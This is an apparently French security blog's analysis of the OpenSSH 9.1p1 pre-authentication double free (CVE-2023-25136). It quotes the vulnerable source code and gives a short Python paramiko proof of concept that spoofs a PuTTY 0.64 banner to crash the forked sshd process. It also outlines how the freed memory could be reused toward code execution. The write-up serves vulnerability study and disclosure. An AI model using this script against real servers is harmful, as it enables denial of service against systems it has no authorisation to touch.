
OpenSSH Double Free pré-authentification CVE-2023-25136 – Analyse et preuve de concept
OpenSSH est un outil populaire utilisé pour les communications sécurisées et l'accès à distance. Il a été développé comme une implémentation libre et open-source du protocole Secure Shell (SSH) et est largement utilisé pour diverses applications.
OpenSSH fournit une connexion sécurisée et chiffrée entre deux hôtes non fiables sur un réseau non sécurisé, ce qui en fait un outil essentiel pour l'accès à distance et le transfert sécurisé de fichiers.
Avec l'utilisation croissante du cloud computing et de l'accès à distance aux serveurs, OpenSSH est devenu un outil crucial pour les administrateurs système et les développeurs qui doivent accéder et gérer des systèmes à distance de manière sécurisée.
OpenSSH prend également en charge une large gamme de plateformes, notamment Linux, macOS et Windows, ce qui en fait un outil largement adopté sur différents systèmes d'exploitation. Grâce à sa facilité d'utilisation et ses solides fonctionnalités de sécurité, OpenSSH est devenu un outil standard de l'industrie pour l'accès à distance sécurisé.
Le 2 février 2023, OpenSSH a publié la version 9.2p1 avec cet avis de sécurité. Il est immédiatement apparu clairement que cette version est intéressante en raison de la vulnérabilité de double libération avant authentification. En fouillant dans le dépôt GitHub d'OpenSSH, voici le commit de correction.
Le message du commit indique bz3522, qui fait référence au rapport Bugzilla soumis par l'utilisateur Mantas Mikulėnas.
Dans son rapport, Mantas mentionne l'utilisation de PuTTY version obsolète 0.64, et joint également une trace arrière de l'abandon par double libération.
Pour approfondir, nous avons mis en place un environnement avec OpenSSH 9.1p1 vulnérable et récupéré une copie de l'ancienne version PuTTY 0.64, publiée il y a 8 ans le 28 février 2015.
L'erreur suivante est apparue après avoir tenté de se connecter avec PuTTY 0.64 au serveur OpenSSH vulnérable :

Étant donné que les algorithmes d'échange de clés du client obsolète ne sont pas supportés par la nouvelle version d'OpenSSH, nous avons modifié le fichier sshd_config en ajoutant la ligne suivante à /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1
Après avoir redémarré le serveur SSH et réessayé, l'erreur suivante est apparue :

Après avoir ajouté une autre ligne de configuration à sshd_config, nous avons pu nous connecter au serveur OpenSSH vulnérable et reproduire le plantage :
HostKeyAlgorithms +ssh-rsa
En exécutant le serveur en mode débogage (avec l'option -ddd), le message de débogage suivant est apparu :
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
Le numéro d'appel système 20 est writev(), ce qui correspond au rapport Bugzilla.
Notez que les modifications de configuration que nous avons apportées n'étaient que pour reproduire la vulnérabilité via PuTTY et ne sont pas nécessaires pour l'exploiter. Comme nous le verrons dans la Preuve de concept, la configuration par défaut est vulnérable.
Nous avons commencé par examiner le commit de correction indiquant que compat_kex_proposal() est responsable de la double libération. Lorsque l'option de compatibilité de connexion SSH_OLD_DHGEX est vraie à [1], le second argument p est affecté à cp à [2] puis libéré à [3].
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}
L'appel à compat_kex_proposal() se trouve dans la fonction do_ssh2_kex() :
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
Le cp=p libéré de compat_kex_proposal() fait référence à l'argument options.kex_algorithms.
En cherchant kex_algorithms dans le code source, nous avons rencontré assemble_algorithms à partir du plantage du rapport Bugzilla :
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE est une macro pour appeler la fonction kex_assemble_names() :
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
La fonction kex_assemble_names() est appelée avec l'adresse de o->kex_algorithms comme premier argument (qui est listp). C'est là que se produit la deuxième libération.
int
kex_assemble_names(char **listp, const char *def, const char *all)
En raison du handle options.kex_algorithms libéré et devenant un pointeur pendant, il est à nouveau libéré, provoquant une double libération.
Mais où l'option SSH_OLD_DHGEX est-elle définie ?
À l'intérieur de la fonction compat_banner(), qui détermine les indicateurs de bogue à partir de la bannière du protocole SSH. Une structure nommée check[] liste tous les identifiants de clients SSH et leurs indicateurs. L'extrait suivant montre les identifiants de clients auxquels l'option SSH_OLD_DHGEX est attribuée. Nous pouvons également voir que WinSCP pourrait également déclencher ce comportement.
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
Nous avons choisi de créer une Preuve de concept de Déni de service en Python en raison de sa flexibilité et de sa portabilité. La preuve de concept déclenche la double libération en utilisant le paquet paramiko et provoque un plantage par abandon.
paramiko est une implémentation SSH Python répandue, offrant des fonctionnalités à la fois de serveur et de client. Pour la Preuve de concept, nous avons modifié la bannière de version du client de connexion pour refléter un client obsolète comme PuTTY v0.64.
Disponible dans notre dépôt GitHub.
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
L'exploit alloue une autre structure nommée EVP_AES_KEY à la place de options.kex_algorithms libéré. Elle est à nouveau libérée lorsque la double libération se produit. Il écrase ensuite son contenu avec un autre bloc en utilisant authctxt->user ou authctxt->style.
Lorsque EVP_Cipher() tente ensuite d'utiliser cet EVP_AES_KEY, il utilisera ce bloc qui l'a écrasé avec des données contrôlées par l'attaquant.
Le démon OpenSSH écoute les connexions des clients. Il fork un nouveau démon pour chaque connexion entrante. Les démons forké gèrent l'échange de clés, le chiffrement, l'authentification, l'exécution de commandes et l'échange de données.
La vulnérabilité est une double libération qui peut théoriquement être exploitée pour un déni de service, comme démontré par notre Preuve de concept, et éventuellement pour une exécution de code à distance (RCE), bien que le développement d'un exploit fonctionnel soit considéré comme difficile en raison des mesures de sécurité en place telles qu'un bac à sable et un mécanisme de séparation des privilèges. Pour un déni de service, notez que seuls les démons forké plantent, en raison d'une violation du bac à sable en essayant d'appeler writev(), ce qui laisse le démon serveur principal libre de gérer de nouveaux clients.
Cette vulnérabilité a reçu une note de sévérité élevée pour les raisons suivantes :
Aucun prérequis n'est nécessaire. Une configuration par défaut est vulnérable.
Lorsqu'aucune mitigation d'exploitation mémoire n'est appliquée (comme ASLR ou NX), une RCE est possible, selon une publication récente.
En ce qui concerne une attaque par déni de service, le plantage d'un processus ouvrier forké est beaucoup moins grave qu'un déni de service qui plante un démon important, mais ils recevront tous deux une évaluation CVSS d'impact sur la disponibilité « Élevé ».
Notez qu'OpenSSH a mis en place des mesures de sécurité telles qu'un bac à sable et un mécanisme de séparation des privilèges, mais elles ne devraient pas réduire la sévérité de l'attaque RCE possible.
La vulnérabilité s'applique uniquement à OpenSSH version 9.1p1 avec une configuration par défaut, ce qui signifie qu'aucun prérequis n'est nécessaire.